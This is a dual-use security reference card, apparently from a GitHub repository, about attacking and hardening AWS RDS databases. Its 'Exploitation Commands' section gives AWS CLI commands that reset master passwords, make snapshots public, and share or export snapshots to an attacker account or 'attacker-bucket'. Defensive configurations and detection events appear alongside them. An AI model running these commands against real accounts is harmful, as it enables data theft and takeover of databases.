aws-security-cards/cards/html/rds.html at main · TocConsulting/aws-security-cards · GitHub

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<!DOCTYPE html>
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<title>AWS RDS Security | AWS Security Cards</title>
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<body>

<!-- Card Image -->
<div class="card-image">
  <img src="../images/rds-card.webp" alt="AWS RDS Security" />
</div>

<!-- Header -->
<div class="header">
  <div class="header-content">
    <div class="header-icon"><img src="../icons/rds.svg" alt="AWS RDS Security" /></div>
    <div>
      <div>
        <span class="header-title">AWS RDS Security</span>
        <span class="header-badge">DATABASE</span>
      </div>
      <p class="header-desc">Relational Database Service (RDS) provides managed databases with encryption and access controls. Publicly accessible databases and weak credentials are primary attack vectors.</p>
    </div>
  </div>
</div>

<!-- Stats -->
<div class="stats-row">
        <div class="stat-card">
          <div class="stat-value" style="color: #f87171;">CRITICAL</div>
          <div class="stat-label">Risk Level</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #4ade80;">Regional</div>
          <div class="stat-label">Multi-AZ</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #60a5fa;">MySQL</div>
          <div class="stat-label">PostgreSQL, etc</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #c084fc;">KMS</div>
          <div class="stat-label">Encryption</div>
        </div></div>

<!-- Overview -->
<div class="section"><h2><span style="color:#f97316;">&#x1F4CB;</span> Service Overview</h2><div class="overview-grid">
        <div>
          <h4 style="color: #f97316;">Database Access</h4>
          <p>RDS instances can be publicly accessible or VPC-only. Security groups control network access, while IAM authentication provides identity-based access for supported engines.</p>
          <div class="attack-note"><span style="color:#f97316;">Attack note:</span> Public databases are constantly scanned. Weak credentials lead to immediate compromise.</div>
        </div>
        <div>
          <h4 style="color: #f97316;">Snapshots &amp; Backups</h4>
          <p>Automated backups and manual snapshots can be shared cross-account or made public. Snapshots contain full database contents including sensitive data.</p>
          <div class="attack-note"><span style="color:#f97316;">Attack note:</span> Public snapshots are goldmines - search for forgotten production data.</div>
        </div></div></div>

<!-- Risk Assessment -->

<div class="section">
  <h2>Security Risk Assessment</h2>
  <div class="risk-gauge">
    <div class="risk-bar-container">
      <div class="risk-bar">
        <div class="risk-bar-fill" style="width: 90%;"></div>
      </div>
      <div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
    </div>
    <div class="risk-score">
      <div class="risk-score-value">9.0</div>
      <div class="risk-score-label">Risk Score</div>
    </div>
  </div>
  <p class="risk-desc">Databases contain the most sensitive business data. Public accessibility, weak credentials, and unencrypted snapshots lead to massive data breaches.</p>
</div>

<!-- Main Panels -->
<div class="panels-grid">
      <div class="panel" style="border-color: #f8717133;">
        <h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Access Exploitation</h4><ul><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Publicly accessible databases</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Weak or default credentials</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> SQL injection from applications</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Unencrypted connections</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Cross-account snapshot sharing</li></ul><h4 style="color: #f87171;">Credential Attacks</h4><ul><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Brute force master password</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Credential stuffing attacks</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Password in CloudFormation</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Secrets Manager misconfigured</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Connection strings in code</li></ul></div>
      <div class="panel" style="border-color: #fb923c33;">
        <h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Access Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> PubliclyAccessible: true</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Security group allows 0.0.0.0/0</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> No SSL/TLS enforcement</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> IAM auth not enabled</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> No VPC endpoint for private access</li></ul><h4 style="color: #fb923c;">Data Protection</h4><ul><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Encryption at rest disabled</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Snapshots not encrypted</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Deletion protection off</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> No audit logging</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Performance Insights public</li></ul></div>
      <div class="panel" style="border-color: #22d3ee33;">
        <h3 style="color: #22d3ee;">🔍 Enumeration</h3>
        <div class="cmd-block">
          <div class="cmd-title">List DB Instances</div>
          <pre><code>aws rds describe-db-instances</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">List Snapshots</div>
          <pre><code>aws rds describe-db-snapshots</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Find Public Snapshots</div>
          <pre><code>aws rds describe-db-snapshots --include-public</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">List Cluster Snapshots</div>
          <pre><code>aws rds describe-db-cluster-snapshots</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Get Parameter Groups</div>
          <pre><code>aws rds describe-db-parameter-groups</code></pre>
        </div></div>
      <div class="panel" style="border-color: #c084fc33;">
        <h3 style="color: #c084fc;">📤 Data Exfiltration</h3><h4 style="color: #c084fc;">Snapshot Abuse</h4><ul><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Copy snapshot to attacker account</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Make snapshot public</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Export snapshot to S3</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Create read replica externally</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Restore in different region</li></ul><h4 style="color: #c084fc;">Direct Access</h4><ul><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> SQL dump via mysqldump/pg_dump</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> SELECT INTO OUTFILE</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Database link to external DB</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Replication to external host</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Bulk export via tools</li></ul><div class="note"><strong>Key insight:</strong> Snapshot sharing is the stealthiest exfiltration method - no data actually leaves your account.</div></div>
      <div class="panel" style="border-color: #facc1533;">
        <h3 style="color: #facc15;">🔗 Persistence</h3><h4 style="color: #facc15;">Database-Level</h4><ul><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Create backdoor database user</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Add stored procedure backdoor</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Schedule malicious job</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Modify application data</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Insert triggers for exfil</li></ul><h4 style="color: #facc15;">AWS-Level</h4><ul><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Modify master password</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Create read replica</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Add security group rule</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Enable public access</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Share snapshot cross-account</li></ul></div>
      <div class="panel" style="border-color: #4ade8033;">
        <h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> ModifyDBInstance</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> CreateDBSnapshot</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> ModifyDBSnapshotAttribute</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> RestoreDBInstanceFromDBSnapshot</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> ModifyDBCluster</li></ul><h4 style="color: #4ade80;">Database Logs</h4><ul><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Audit log analysis</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Failed login attempts</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Unusual query patterns</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Bulk data access</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> New user creation</li></ul></div></div>

<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">&#x1F4BB;</span> Exploitation Commands</h2><div class="cmd-grid">
        <div class="cmd-block">
          <div class="cmd-title">Restore Snapshot to New Instance</div>
          <pre><code>aws rds restore-db-instance-from-db-snapshot \\
  --db-snapshot-identifier snap-xxx \\
  --db-instance-identifier pwned \\
  --publicly-accessible</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Reset Master Password</div>
          <pre><code>aws rds modify-db-instance \\
  --db-instance-identifier target-db \\
  --master-user-password NewPassword123!</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Make Snapshot Public</div>
          <pre><code>aws rds modify-db-snapshot-attribute \\
  --db-snapshot-identifier snap-xxx \\
  --attribute-name restore \\
  --values-to-add all</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Copy Snapshot Cross-Account</div>
          <pre><code>aws rds modify-db-snapshot-attribute \\
  --db-snapshot-identifier snap-xxx \\
  --attribute-name restore \\
  --values-to-add ATTACKER_ACCOUNT_ID</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Enable Public Access</div>
          <pre><code>aws rds modify-db-instance \\
  --db-instance-identifier target-db \\
  --publicly-accessible</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Export Snapshot to S3</div>
          <pre><code>aws rds start-export-task \\
  --export-task-identifier exfil \\
  --source-arn arn:aws:rds:REGION:ACCOUNT:snapshot:snap-xxx \\
  --s3-bucket-name attacker-bucket</code></pre>
        </div></div></div>

<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">&#x1F4DC;</span> Policy Examples</h2><div class="policy-grid">
        <div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
          <div class="policy-header">
            <span style="color: #f87171; font-size: 1.2em;">&#x2717;</span>
            <span style="color: #f87171; font-weight: 600;">Dangerous - Public Database</span>
          </div>
          <pre><code>{
  &quot;PubliclyAccessible&quot;: true,
  &quot;StorageEncrypted&quot;: false,
  &quot;DeletionProtection&quot;: false,
  &quot;MasterUsername&quot;: &quot;admin&quot;,
  &quot;MasterUserPassword&quot;: &quot;password123&quot;
}</code></pre>
          <p class="policy-desc">Public, unencrypted, weak credentials - complete exposure</p>
        </div>
        <div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
          <div class="policy-header">
            <span style="color: #4ade80; font-size: 1.2em;">&#x2713;</span>
            <span style="color: #4ade80; font-weight: 600;">Secure - Hardened Configuration</span>
          </div>
          <pre><code>{
  &quot;PubliclyAccessible&quot;: false,
  &quot;StorageEncrypted&quot;: true,
  &quot;KmsKeyId&quot;: &quot;arn:aws:kms:...&quot;,
  &quot;DeletionProtection&quot;: true,
  &quot;IAMDatabaseAuthentication&quot;: true,
  &quot;EnableCloudwatchLogsExports&quot;: [&quot;audit&quot;,&quot;error&quot;]
}</code></pre>
          <p class="policy-desc">Private, encrypted, IAM auth, with audit logging</p>
        </div>
        <div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
          <div class="policy-header">
            <span style="color: #f87171; font-size: 1.2em;">&#x2717;</span>
            <span style="color: #f87171; font-weight: 600;">Dangerous - Open Security Group</span>
          </div>
          <pre><code>{
  &quot;IpPermissions&quot;: [{
    &quot;IpProtocol&quot;: &quot;tcp&quot;,
    &quot;FromPort&quot;: 3306,
    &quot;ToPort&quot;: 3306,
    &quot;IpRanges&quot;: [{&quot;CidrIp&quot;: &quot;0.0.0.0/0&quot;}]
  }]
}</code></pre>
          <p class="policy-desc">MySQL port open to entire internet</p>
        </div>
        <div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
          <div class="policy-header">
            <span style="color: #4ade80; font-size: 1.2em;">&#x2713;</span>
            <span style="color: #4ade80; font-weight: 600;">Secure - VPC Only Access</span>
          </div>
          <pre><code>{
  &quot;IpPermissions&quot;: [{
    &quot;IpProtocol&quot;: &quot;tcp&quot;,
    &quot;FromPort&quot;: 3306,
    &quot;ToPort&quot;: 3306,
    &quot;UserIdGroupPairs&quot;: [{
      &quot;GroupId&quot;: &quot;sg-app-servers&quot;
    }]
  }]
}</code></pre>
          <p class="policy-desc">Only app server security group can connect</p>
        </div></div></div>

<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">&#x1F6E1;&#xFE0F;</span> Defense Recommendations</h2><div class="defense-grid">
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🔐</span>
            <div>
              <h4>Disable Public Access</h4>
              <p>Never expose RDS to internet. Use private subnets.</p>
              <pre><code>aws rds modify-db-instance \\
  --db-instance-identifier db-xxx \\
  --no-publicly-accessible</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🚫</span>
            <div>
              <h4>Enable Encryption</h4>
              <p>Encrypt at rest with KMS and enforce SSL in transit.</p>
              <pre><code>--storage-encrypted --kms-key-id &lt;key-arn&gt;</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🔒</span>
            <div>
              <h4>Use IAM Authentication</h4>
              <p>Replace passwords with IAM roles where possible.</p>
              <pre><code>aws rds modify-db-instance \\
  --enable-iam-database-authentication</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">📝</span>
            <div>
              <h4>Enable Audit Logging</h4>
              <p>Export audit logs to CloudWatch for monitoring.</p>
              <pre><code>--enable-cloudwatch-logs-exports \\
  '[&quot;audit&quot;,&quot;error&quot;,&quot;general&quot;]'</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🌐</span>
            <div>
              <h4>Use Secrets Manager</h4>
              <p>Rotate credentials automatically with Secrets Manager.</p>
              <pre><code>aws secretsmanager rotate-secret \\
  --secret-id db-credentials</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🔍</span>
            <div>
              <h4>Enable Deletion Protection</h4>
              <p>Prevent accidental or malicious deletion.</p>
              <pre><code>aws rds modify-db-instance --deletion-protection</code></pre>
            </div>
          </div>
        </div></div></div>

<!-- Footer -->
<div class="footer">
  <p>AWS RDS Security Card</p>
  <p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>

</body>
</html>